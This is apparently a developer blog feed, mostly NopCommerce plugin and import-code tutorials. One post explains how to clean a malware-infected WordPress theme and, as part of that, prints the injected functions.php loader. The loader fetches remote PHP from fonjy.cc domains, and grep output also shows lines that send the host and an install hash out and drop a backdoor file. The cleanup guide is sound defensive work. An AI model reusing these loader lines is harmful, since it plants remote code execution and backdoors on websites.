                                                    if (urlRepository.TableNoTracking.SingleOrDefault(u => u.EntityId == ttag.Id && u.EntityName == entityName && u.LanguageId == 0) == null)
                                                    {
                                                        var slug2 = _urlRecordService.ValidateSeName(ttag, ttag.Name, ttag.Name, true);
                                                        _urlRecordService.InsertUrlRecord(new Core.Domain.Seo.UrlRecord
                                                        {
                                                            EntityId = ttag.Id,
                                                            EntityName = entityName,
                                                            LanguageId = 0,
                                                            IsActive = true,
                                                            Slug = slug2
                                                        });
                                                    }
                                                
                                            }
                                            else if (!prodTagMapRepo.Table.Any(a => a.ProductTagId == ttag.Id && a.ProductId == pro.Id))//!pro.ProductProductTagMappings.Any(a => a.ProductTag.Id == ttag.Id))
                                            {
                                                if (!pro.ProductProductTagMappings.Any(a => a.ProductTag.Id == ttag.Id))
                                                {
                                                    pro.ProductProductTagMappings.Add(new Core.Domain.Catalog.ProductProductTagMapping()
                                                    {
                                                        ProductTag = ttag,
                                                    });
                                                }
                                            }
                                        }
                                    }

                                    _productService.UpdateProduct(pro);

                                    swc.Stop();
                                    totalTimeSec += swc.Elapsed.TotalSeconds;
                                    swm += ", ttag: " + swc.Elapsed.TotalSeconds.ToString("0.##");
                                    swc.Reset();
                                    _cache.Set<string>("Progress", progress + " " + swm, TimeSpan.FromMinutes(30));

                                    //pictures
                                    swc.Start();
                                    AddPictures(product, pro);
                                    _productService.UpdateProduct(pro);


                                    swc.Stop();
                                    totalTimeSec += swc.Elapsed.TotalSeconds;
                                    swm += ", pictures: " + swc.Elapsed.TotalSeconds.ToString("0.##");
                                    swc.Reset();
                                    _cache.Set<string>("Progress", progress + " " + swm, TimeSpan.FromMinutes(30));

                                    bool colDef = true;

                                    //attributes
                                    swc.Start();
                                    Core.Domain.Catalog.ProductAttribute pattr = null;
                                    Core.Domain.Catalog.SpecificationAttribute spattr = null;
                                    Core.Domain.Catalog.SpecificationAttributeOption spao = null;
                                    List<Core.Domain.Catalog.ProductSpecificationAttribute> prodSAttrMapRepo_later = new List<Core.Domain.Catalog.ProductSpecificationAttribute>();

                                    dynamic chr;
                                    Newtonsoft.Json.Linq.JProperty cjp;
                                    string val, name, rgb;
                                    System.Drawing.Color c;
                                    progress = "pattr | " + string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                                    _cache.Set<string>("Progress", progress + " " + swm, TimeSpan.FromMinutes(30));
                                    string nlo;
                                    string spaovu;
                                    string spaonu;
                                    foreach (var ch in product.characteristics)
                                    {

                                        chr = ((Newtonsoft.Json.Linq.JToken)ch).First;
                                        cjp = Newtonsoft.Json.Linq.JProperty.FromObject(ch) as Newtonsoft.Json.Linq.JProperty;
                                        val = ((Newtonsoft.Json.Linq.JValue)chr).Value as string;
                                        name = cjp.Name.Trim().Trim(Feeder.trimChars);
                                        if (name.IndexOf('(') >= 0 && name.IndexOf(')') < 0)
                                        {
                                            name += ")";
                                        }
                                        if (name.IndexOf('[') >= 0 && name.IndexOf(']') < 0)
                                        {
                                            name += "]";
                                        }
                                        if (name.IndexOf('{') >= 0 && name.IndexOf('}') < 0)
                                        {
                                            name += "}";
                                        }
                                        nlo = name.ToLowerInvariant();
                                        spaovu = val.ToUpperInvariant();
                                        spaonu = name.ToUpperInvariant();

                                        //work on colors
                                        if (nlo == "цвет" || nlo == "color" || nlo == "колір" || (nlo.Contains("цвет ") || nlo.Contains("color ") || nlo.Contains("колір ")))
                                        {
                                            progress = "pattr | " + string.Format("Categories: {0}, Products: {1}/{2}", categories.Count, (string)dynJson2.count, prodProcessed);
                                            pattr = prodAttrRepo.Table.FirstOrDefault(a => a.Name == name);
                                            if (pattr == null)
                                            {
                                                pattr = new Core.Domain.Catalog.ProductAttribute()
                                                {
                                                    Name = name

                                                };

                                                _productAttributeService.InsertProductAttribute(pattr);

                                            }
                                            string[] colors = spaovu.Split(',', StringSplitOptions.RemoveEmptyEntries);

                                            foreach (var sc in colors)
                                            {
                                                rgb = "#ffffff";
                                                var ssc = sc.Replace(" ", string.Empty).Replace("-", string.Empty).Replace("/", string.Empty).Replace("+", string.Empty).ToLowerInvariant();
                                                var sccc = Feeder.colors.SingleOrDefault(s => s.Item2.Contains(ssc));
                                                if (sccc != null)
                                                    rgb = sccc.Item1;
                                                else
                                                {
                                                    c = System.Drawing.Color.FromName(val);

                                                    rgb = "#" + c.R.ToString("X2") + c.G.ToString("X2") + c.B.ToString("X2");
                                                }

                                                if (!prodAttrMapRepo.Table.Any(a => a.ProductAttributeId == pattr.Id && a.ProductId == pro.Id))
                                                    if (!pro.ProductAttributeMappings.Any(a => a.ProductAttribute.Id == pattr.Id
                                                        && a.ProductAttributeValues.Any(aa => aa.Name.ToUpper() == spaovu)))
                                                    {

                                                        pro.ProductAttributeMappings.Add(new Core.Domain.Catalog.ProductAttributeMapping()
                                                        {
                                                            AttributeControlType = Core.Domain.Catalog.AttributeControlType.ColorSquares,
                                                            IsRequired = colors.Length>1,

                                                            ProductAttribute = pattr,
                                                            ProductAttributeValues =
                                            {
                                                new Core.Domain.Catalog.ProductAttributeValue
                                                {
                                                    AttributeValueType = Core.Domain.Catalog.AttributeValueType.Simple,
                                                    Name = sc, IsPreSelected=colDef, ColorSquaresRgb=rgb
                                                }
                                            }

                                                        });
                                                        colDef = false;
                                                    }
                                            }
                                        }
                                        else //work on specification attributes
                                        {
                                            progress = "spattr | " + string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                                            _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));
                                            spattr = spAttrRepository.Table.FirstOrDefault(a => a.Name == name);
                                            spao = null;
                                            if (spattr == null)
                                            {
                                                spattr = new Core.Domain.Catalog.SpecificationAttribute
                                                {
                                                    Name = name
                                                };
                                                _specificationAttributeService.InsertSpecificationAttribute(spattr);

                                                spao = new Core.Domain.Catalog.SpecificationAttributeOption()
                                                {
                                                    Name = val,
                                                    SpecificationAttribute = spattr
                                                };
                                                _specificationAttributeService.InsertSpecificationAttributeOption(spao);
                                            }
                                            else
                                            {
                                                progress = "spao | " + string.Format("Categories: {0}, Products: {1}/{2}", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                                                _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));

                                                spao = spOAttrRepository.Table.FirstOrDefault(s => s.SpecificationAttributeId == spattr.Id && s.Name == val);
                                                if (spao == null)
                                                {
                                                    progress = "!!!" + progress;
                                                    _cache.Set<string>("Progress", progress + " " + swm, TimeSpan.FromMinutes(30));
                                                    
                                                    {
                                                        spao = new Core.Domain.Catalog.SpecificationAttributeOption()
                                                        {
                                                            SpecificationAttribute = spattr,
                                                            Name = val

                                                        };
                                                        _specificationAttributeService.InsertSpecificationAttributeOption(spao);
                                                    }

                                                   
                                                }
                                            }

                                            if (!prodSAttrMapRepo.Table.Any(a => a.SpecificationAttributeOptionId == spao.Id &&
                                             a.ProductId == pro.Id))
                                                if (!pro.ProductSpecificationAttributes.Any(a => a.SpecificationAttributeOptionId == spao.Id
                                                     && a.SpecificationAttributeOption.SpecificationAttributeId == spattr.Id))
                                                {
                                                    pro.ProductSpecificationAttributes.Add(new Core.Domain.Catalog.ProductSpecificationAttribute()
                                                    {
                                                        //disable filtering by SKU or whatever you need
                                                        AllowFiltering = !excludeParams.Any(a => nlo.ToUpper().Contains(a.ToUpper())),
                                                        ShowOnProductPage = nlo.ToUpper() != excludeParams[0].ToUpper() && nlo.ToUpper() != excludeParams[1].ToUpper(),
                                                        SpecificationAttributeOption = spao,
                                                        AttributeType = Core.Domain.Catalog.SpecificationAttributeType.Option
                                                    });
                                            }
                                        }
                                        _productService.UpdateProduct(pro);
                                    }

                                    entityName = typeof(Core.Domain.Catalog.Product).Name;
                                    var slugp = _urlRecordService.ValidateSeName(pro, pro.Name, pro.Name, true);
                                    urlRepository.Insert(new Core.Domain.Seo.UrlRecord
                                    {
                                        EntityId = pro.Id,
                                        EntityName = entityName,
                                        LanguageId = 0,
                                        IsActive = true,
                                        Slug = slugp
                                    });

                                    swc.Stop();
                                    totalTimeSec += swc.Elapsed.TotalSeconds;
                                    swm += ", pattr: " + swc.Elapsed.TotalSeconds.ToString("0.##");
                                    swc.Reset();
                                    _cache.Set<string>("Progress", totalTimeSec.ToString("0.###") + ":" + progress + " " +  swm, TimeSpan.FromMinutes(30));

                                }
                                else if (pro != null)
                                {
                                    //do whatever you need if product already exists
                                }

                                prodProcessed++;
                                offset++;

                                pt.Limit = limit;
                                pt.Offset = offset;
                                pt.ProcessedProducts = prodProcessed;
                                pt.TotalProducts = count;

                                _settingService.SetSetting<string>("DDProdcts", Newtonsoft.Json.JsonConvert.SerializeObject(pt, Newtonsoft.Json.Formatting.None,
                                new Newtonsoft.Json.JsonSerializerSettings()
                                {
                                    ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                                }), storeScope, true);
                            }

                            int icount = dynJson2.items is Newtonsoft.Json.Linq.JArray ? ((Newtonsoft.Json.Linq.JArray)dynJson2.items).Count : ((Newtonsoft.Json.Linq.JObject)dynJson2.items).Count;
                            //check if we have done with that category
                            if (dynJson2 == null || icount < 1 || icount < limit)
                            {
                                if (pt.MaxPrice > 0)
                                {
                                    var cat = _categoryService.GetCategoryById(rcategory);
                                    if (pt.MaxPrice > 50000)
                                    {
                                        cat.PriceRanges = "0-9999;10000-24999;25000-49999;50000-";
                                    }
                                    else if (pt.MaxPrice > 20000)
                                    {
                                        cat.PriceRanges = "0-4999;5000-9999;10000-24999;25000-";
                                    }
                                    else if (pt.MaxPrice > 5000)
                                    {
                                        cat.PriceRanges = "0-4999;5000-9999;10000-";
                                    }
                                    else if (pt.MaxPrice > 1000)
                                    {
                                        cat.PriceRanges = "0-999;1000-3999;4000-";
                                    }
                                    else
                                    {
                                        cat.PriceRanges = "0-249;250-499;500-749;750-";
                                    }
                                    _categoryService.UpdateCategory(cat);
                                }
                                //remove category that we have finished
                                categories.Remove(rcategory);
                                // store offset and everything for the next run (I was re-runing it by an ajax calls)
                                pt.Offset = 0;
                                pt.MaxPrice = 0;
                                pt.TotalProducts = 0;
                                pt.ProcessedProducts = 0;
                                _settingService.SetSetting<string>("DDProdcts", Newtonsoft.Json.JsonConvert.SerializeObject(pt, Newtonsoft.Json.Formatting.None,
                                new Newtonsoft.Json.JsonSerializerSettings()
                                {
                                    ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                                }), storeScope, true);
                                progress = string.Format("Categories: {0}, Products: {1}/{2} 'tbc", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                            }
                            else // seems there are more products so we will continue on the same category
                            {
                                _settingService.SetSetting<string>("DDProdcts", Newtonsoft.Json.JsonConvert.SerializeObject(pt, Newtonsoft.Json.Formatting.None,
                                new Newtonsoft.Json.JsonSerializerSettings()
                                {
                                    ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                                }), storeScope, true);
                                progress = string.Format("Categories: {0}, Products: {1}/{2} 'tbc", ccc.Name + "/" + categories.Count, (string)dynJson2.count, prodProcessed);
                            }
                        }
                        catch (System.Net.WebException wex)
                        {
                            //LogException
                        }
                        catch (Exception ex)
                        {
                            //LogException
                        }
                    }

                    _cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));
                    //seems we have more categories to work on
                    if (categories != null && categories.Count > 0)
                    {
                        _settingService.SetSetting<string>("DDCategories", Newtonsoft.Json.JsonConvert.SerializeObject(categories, Newtonsoft.Json.Formatting.None,
                        new Newtonsoft.Json.JsonSerializerSettings()
                        {
                            ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                        }), storeScope, true);
                    }
                    else //seems we have done with all categories
                    {
                        progress = "Done";
                        _settingService.SetSetting<string>("DDProdcts", string.Empty, storeScope, true);
                        _settingService.SetSetting<string>("DDCategories", string.Empty, storeScope, true);
                    }
                }

            }
            catch(Exception ex)
            {
                //LogException
            }

            return Json(new { data = progress });
        }

and the add pictures method

        private void AddPictures(dynamic product, Core.Domain.Catalog.Product pro)
        {
            List<Tuple<string, byte[]>> bdata = new List<Tuple<string, byte[]>>();
            var iurls = ((Newtonsoft.Json.Linq.JArray)product.imageFiles).Select(s => (string)s).ToList();

            System.Threading.Tasks.Parallel.ForEach(iurls, iu =>
            {
                try
                {
                    
                    if (!bdata.Any(a => a.Item1 == iu))
                    {
                        System.Net.WebClient webClient = new System.Net.WebClient();
                        bdata.Add(new Tuple<string, byte[]>(iu, webClient.DownloadData(iu)));
                    }
                }
                catch (Exception ex)
                {
                    //LogException
                }
            }
            );
            
            foreach (var iu in iurls)
            {
                try
                {
                    var data = bdata.SingleOrDefault(s => s.Item1 == iu);

                    if (data != null)
                    {
                        string iufn = _fileProvider.GetFileName(iu);
                        string iufnl = iufn.ToLowerInvariant();
                        {
                            {
                                {
                                    
                                    _pictureService.StoreInDb = false;
                                    Core.Domain.Media.Picture propic = _pictureService.InsertPicture(data.Item2, "image/jpeg", iufn, pro.Name, pro.Name, true);

                                    if (propic != null)
                                    {
                                        pro.ProductPictures.Add(new Core.Domain.Catalog.ProductPicture()
                                        {
                                            Picture = propic
                                        });
                                    }
                                }

                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    //LogException
                }
            }
            bdata.Clear();
        }


This is not really 100% optimized, especially the DB adding/updating part because of using _services instead of _repositories

but seem I had problems using _repos everywhere and not sure why.


Thank you and see you soon 


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



Clear Disk C: and free more than 10 GB space!

Hello friend,


are you a software developer and use Visual Studio and Nuget? 


Then just look and delete everything there: C:\Users\UserName\.nuget\packages

and you will free +10 GB of space!



Thank you


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



Top 1 Anti-spam email filter

Hello friends,


Let's imagine that you need an anti-spam filter for your e-shop email address, for example when users send you emails, comments, etc., and you want to be sure there will be no spam at all (or at least 99%)

There are a lot of different plugins and technics, but I guess they are not so powerful as you need, as well as me.


After a few days thinking about it I came to one idea - what if your email server would be able to send immediate response to sender to confirm he is not a spammer? Sounds great for me, so here are steps on how to do it:

- User or spammer send email to your email inbox

- Top 1 anti-spam filter gets every email, moves it into lets say "Waiting Approval" folder and sends an immediate email in response with unique URL for confirmation

- If that was an email from a real user he will get the email and navigate to the URL(spammer will not I guess)

- The URL will be a simple page with Google CAPTCHA (server-side validation of course) and confirmation button + the unique id

- Clicking the confirmation button will confirm humanity and move the original email back to inbox folder so you would see you have a humanity-confirmed new email


That's it. What do you think?


Thank you and see you later ;)



1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Events

Hello friends,


this post will be about NopCommerce Events and how to react on them. I will show how to react to the Order Placed Event.

For that we need to add our own class and inherit IConsumer<OrderPlacedEvent> so NopCommerce would automatically use it, 

here is the code:

namespace Nop.Plugin.MyProductFeeder
{
    public class MyOrderPlacedEvent : IConsumer<OrderPlacedEvent>
    {
        private readonly IPluginFinder _pluginFinder;
        private readonly IOrderService _orderService;
        private readonly IStoreContext _storeContext;

        private readonly Nop.Services.Common.IGenericAttributeService _genericAttributeService;

        public MyOrderPlacedEvent(
IPluginFinder pluginFinder, IOrderService orderService, IStoreContext storeContext, Nop.Services.Common.IGenericAttributeService genericAttributeService) { this._pluginFinder = pluginFinder; this._orderService = orderService; this._storeContext = storeContext; this._genericAttributeService = genericAttributeService; } /// <summary> /// Handles the event. /// </summary> /// <param name="eventMessage">The event message.</param> public void HandleEvent(OrderPlacedEvent eventMessage) { eventMessage.Order.OrderStatus = OrderStatus.Pending; eventMessage.Order.OrderNotes.Add(new OrderNote() { CreatedOnUtc = DateTime.UtcNow, DisplayToCustomer = true, Note = "Please, confirm your order by email!" }); _orderService.UpdateOrder(eventMessage.Order); } } }

So my main idea was to force user to confirm order by email with a unique link in it.

Not too complex but may not be so obvious for someone.


Thank you and see you there: NopCommerce customization - Full cycle of product adding in batch



1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Price Calculation Service

Hello friends,

today I will show a Price Calculation Service implementation for NopCommerce plugin.

We will need a class that inherits Nop.Services.Catalog.PriceCalculationService and single method for price calculation.

Here is the code:

    public class MyPriceCalc:Nop.Services.Catalog.PriceCalculationService
    {
        #region Fields

        private readonly CatalogSettings _catalogSettings;
        private readonly CurrencySettings _currencySettings;
        private readonly ICategoryService _categoryService;
        private readonly ICurrencyService _currencyService;
        private readonly IDiscountService _discountService;
        private readonly IManufacturerService _manufacturerService;
        private readonly IProductAttributeParser _productAttributeParser;
        private readonly IProductService _productService;
        private readonly IStaticCacheManager _cacheManager;
        private readonly IStoreContext _storeContext;
        private readonly IWorkContext _workContext;
        private readonly ShoppingCartSettings _shoppingCartSettings;

        private readonly IGenericAttributeService _genericAttributeService;
        private readonly Nop.Services.Shipping.Date.IDateRangeService _dateRangeService;

        #endregion

        #region Ctor

        public MyPriceCalc(CatalogSettings catalogSettings,
            CurrencySettings currencySettings,
            ICategoryService categoryService,
            ICurrencyService currencyService,
            IDiscountService discountService,
            IManufacturerService manufacturerService,
            IProductAttributeParser productAttributeParser,
            IProductService productService,
            IStaticCacheManager cacheManager,
            IStoreContext storeContext,
            IWorkContext workContext,
            ShoppingCartSettings shoppingCartSettings,
            IGenericAttributeService genericAttributeService,
            Nop.Services.Shipping.Date.IDateRangeService dateRangeService) :base(catalogSettings,
            currencySettings,
            categoryService,
            currencyService,
            discountService,
            manufacturerService,
            productAttributeParser,
            productService,
            cacheManager,
            storeContext,
            workContext,
            shoppingCartSettings)
        {
            this._catalogSettings = catalogSettings;
            this._currencySettings = currencySettings;
            this._categoryService = categoryService;
            this._currencyService = currencyService;
            this._discountService = discountService;
            this._manufacturerService = manufacturerService;
            this._productAttributeParser = productAttributeParser;
            this._productService = productService;
            this._cacheManager = cacheManager;
            this._storeContext = storeContext;
            this._workContext = workContext;
            this._shoppingCartSettings = shoppingCartSettings;

            this._genericAttributeService = genericAttributeService;
            this._dateRangeService = dateRangeService;
        }

        #endregion

        public override decimal GetFinalPrice(Product product,
            Customer customer,
            decimal? overriddenProductPrice,
            decimal additionalCharge,
            bool includeDiscounts,
            int quantity,
            DateTime? rentalStartDate,
            DateTime? rentalEndDate,
            out decimal discountAmount,
            out List<DiscountForCaching> appliedDiscounts)
        {
            //get base price in case anything will go wrong in your logic
            decimal fprice = base.GetFinalPrice(product,
            customer,
            overriddenProductPrice,
            additionalCharge,
            includeDiscounts,
            quantity,
            rentalStartDate,
            rentalEndDate,
            out discountAmount,
            out appliedDiscounts);

            if (_storeContext.CurrentStore.Id == 3/*your store id in multiple-store configuration*/)
            {
                try
                {
                    //... your price calculation logic
                }
                catch (Exception ex)
                {
                    var logger = EngineContext.Current.Resolve<Nop.Services.Logging.ILogger>();
                    logger.Error(ex.Message, ex, customer);
                }
            }

            return fprice;
        }
    }

So, this class and the single method will be called every time any product requested (on home page, in any list, on product details page, etc.)

Firstly I call base method just in case anything will go wrong in my own logic and return the base price.

After you published this plugin your calculation class will picked up by NopCommerce immediately.


Thank you and see you there: NopCommerce customization - Events




1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



PHP Theme and malware

Hello,


Today I have found a way to clean-up one of a PHP Theme that pops-up ads from time to time on your website.

so just in case anyone will look for the same problem solving - here what I did for it:

- in my case it created wp-tmp.php file under the theme folder so I searched for the file name inside of each file:

grep --include=*.php -rn . -e "wp-tmp.php"

it will show you something like that:

./wp-content/themes/betheme/functions.php:106:                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:108:                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:109:                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:110:                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:111:                        @file_put_contents('wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:123:                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:125:                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:126:                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:127:                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:128:                        @file_put_contents('wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:133:        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

./wp-content/themes/betheme/functions.php:136:        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

./wp-content/themes/betheme/functions.php:139:        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

btw, do not forget to delete all wp-tmp.php files :)

- after that open the functions.php file and remove the following lines:

$wp_auth_key='ee10bb8873fd72fe5d1585ebddeeae7e';
        if (($tmpcontent = @file_get_contents("https://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("https://www.fonjy.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif (($tmpcontent = @file_get_contents("https://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        }

in my case it was starting on 101 line number.

- now run the following command:
grep --include=*.php -rn . -e "fonjy"
and you should get something similar to:
./wp-includes/wp-vcd.php:83:						$content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

./wp-includes/wp-vcd.php:84:						@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));

./wp-includes/wp-vcd.php:88:						$content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

./wp-includes/wp-vcd.php:89:						@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));

I removed the wp-vcd.php file completely and the class.wp.php as well (even it was in 0 size)


Now it should not return back to you website anymore (do not forget to remove 777 permission everywhere)


Thank you for reading it and see you

1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Message Token

Hello friends,


this time I will show how to add your own message tokens to NopCommerce. For that you need two things: create a message token class and register it with dependencyregistrar.

So here is the code:

    public class FeederOT : IDependencyRegistrar
    {
        public int Order => 1000;

        public void Register(ContainerBuilder builder, ITypeFinder typeFinder, NopConfig config)
        {
            builder.RegisterType<OrderMessageToken>().As<IMessageTokenProvider>().InstancePerLifetimeScope();
        }
    }

    public class OrderMessageToken: Nop.Services.Messages.MessageTokenProvider
    {
        #region Fields

        private readonly CatalogSettings _catalogSettings;
        private readonly CurrencySettings _currencySettings;
        private readonly IActionContextAccessor _actionContextAccessor;
        private readonly IAddressAttributeFormatter _addressAttributeFormatter;
        private readonly ICurrencyService _currencyService;
        private readonly ICustomerAttributeFormatter _customerAttributeFormatter;
        private readonly ICustomerService _customerService;
        private readonly IDateTimeHelper _dateTimeHelper;
        private readonly IDownloadService _downloadService;
        private readonly IEventPublisher _eventPublisher;
        private readonly IGenericAttributeService _genericAttributeService;
        private readonly ILanguageService _languageService;
        private readonly ILocalizationService _localizationService;
        private readonly IOrderService _orderService;
        private readonly IPaymentService _paymentService;
        private readonly IPriceFormatter _priceFormatter;
        private readonly IStoreContext _storeContext;
        private readonly IStoreService _storeService;
        private readonly IUrlHelperFactory _urlHelperFactory;
        private readonly IUrlRecordService _urlRecordService;
        private readonly IVendorAttributeFormatter _vendorAttributeFormatter;
        private readonly IWorkContext _workContext;
        private readonly MessageTemplatesSettings _templatesSettings;
        private readonly PaymentSettings _paymentSettings;
        private readonly StoreInformationSettings _storeInformationSettings;
        private readonly TaxSettings _taxSettings;

        private Dictionary<string, IEnumerable<string>> _allowedTokens;

        #endregion

        #region Ctor

        public OrderMessageToken(CatalogSettings catalogSettings,
            CurrencySettings currencySettings,
            IActionContextAccessor actionContextAccessor,
            IAddressAttributeFormatter addressAttributeFormatter,
            ICurrencyService currencyService,
            ICustomerAttributeFormatter customerAttributeFormatter,
            ICustomerService customerService,
            IDateTimeHelper dateTimeHelper,
            IDownloadService downloadService,
            IEventPublisher eventPublisher,
            IGenericAttributeService genericAttributeService,
            ILanguageService languageService,
            ILocalizationService localizationService,
            IOrderService orderService,
            IPaymentService paymentService,
            IPriceFormatter priceFormatter,
            IStoreContext storeContext,
            IStoreService storeService,
            IUrlHelperFactory urlHelperFactory,
            IUrlRecordService urlRecordService,
            IVendorAttributeFormatter vendorAttributeFormatter,
            IWorkContext workContext,
            MessageTemplatesSettings templatesSettings,
            PaymentSettings paymentSettings,
            StoreInformationSettings storeInformationSettings,
            TaxSettings taxSettings):base(
                catalogSettings,
            currencySettings,
            actionContextAccessor,
            addressAttributeFormatter,
            currencyService,
            customerAttributeFormatter,
            customerService,
            dateTimeHelper,
            downloadService,
            eventPublisher,
            genericAttributeService,
            languageService,
            localizationService,
            orderService,
            paymentService,
            priceFormatter,
            storeContext,
            storeService,
            urlHelperFactory,
            urlRecordService,
            vendorAttributeFormatter,
            workContext,
            templatesSettings,
            paymentSettings,
            storeInformationSettings,
            taxSettings
                )
        {
            this._catalogSettings = catalogSettings;
            this._currencySettings = currencySettings;
            this._actionContextAccessor = actionContextAccessor;
            this._addressAttributeFormatter = addressAttributeFormatter;
            this._currencyService = currencyService;
            this._customerAttributeFormatter = customerAttributeFormatter;
            this._customerService = customerService;
            this._dateTimeHelper = dateTimeHelper;
            this._downloadService = downloadService;
            this._eventPublisher = eventPublisher;
            this._genericAttributeService = genericAttributeService;
            this._languageService = languageService;
            this._localizationService = localizationService;
            this._orderService = orderService;
            this._paymentService = paymentService;
            this._priceFormatter = priceFormatter;
            this._storeContext = storeContext;
            this._storeService = storeService;
            this._urlHelperFactory = urlHelperFactory;
            this._urlRecordService = urlRecordService;
            this._vendorAttributeFormatter = vendorAttributeFormatter;
            this._workContext = workContext;
            this._templatesSettings = templatesSettings;
            this._paymentSettings = paymentSettings;
            this._storeInformationSettings = storeInformationSettings;
            this._taxSettings = taxSettings;
        }

        #endregion

        public override void AddOrderTokens(IList<Token> tokens, Order order, int languageId, int vendorId = 0)
        {
            tokens.Add(new Token("Order.OrderGuid", order.OrderGuid, true));
            base.AddOrderTokens(tokens, order, languageId, vendorId);
        }
    }


So, you create your own class, inherit it from the Nop.Services.Messages.MessageTokenProvider and define your own token inside of the AddOrderTokens method.

After that you register it with the IDependencyRegistrar.


Now you can use your own tokens inside of message templates.


See you there: NopCommerce customization - Price Calculation Service


1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



NopCommerce customization - Plugin

Hello friends,


I'm going to share my experience in NopCommerce customization. I will write about Plugins, Scheduled tasks, Events, Services, and everything you need to know to extend your NopCommerce shop.

This first post will be about NopCommerce plugin for NopCommerce 4.1.

So, to start writing your own plugin for NopCommerce you need to start from the help page of the official documentation

Steps described there are required to start writing your plugin. After that you will just extend it to meet your requirements and here are some useful things:

- Main Plugin class declaration:

public class Feeder : BasePlugin, IMiscPlugin, IAdminMenuPlugin

- Declare all classes you need for work:

public Feeder(IActionContextAccessor actionContextAccessor,
            IDiscountService discountService,
            ILocalizationService localizationService,
            ISettingService settingService,
            IUrlHelperFactory urlHelperFactory,
            IWebHelper webHelper,
            IScheduleTaskService scheduleTaskService)
        {
            this._actionContextAccessor = actionContextAccessor;
            this._discountService = discountService;
            this._localizationService = localizationService;
            this._settingService = settingService;
            this._urlHelperFactory = urlHelperFactory;
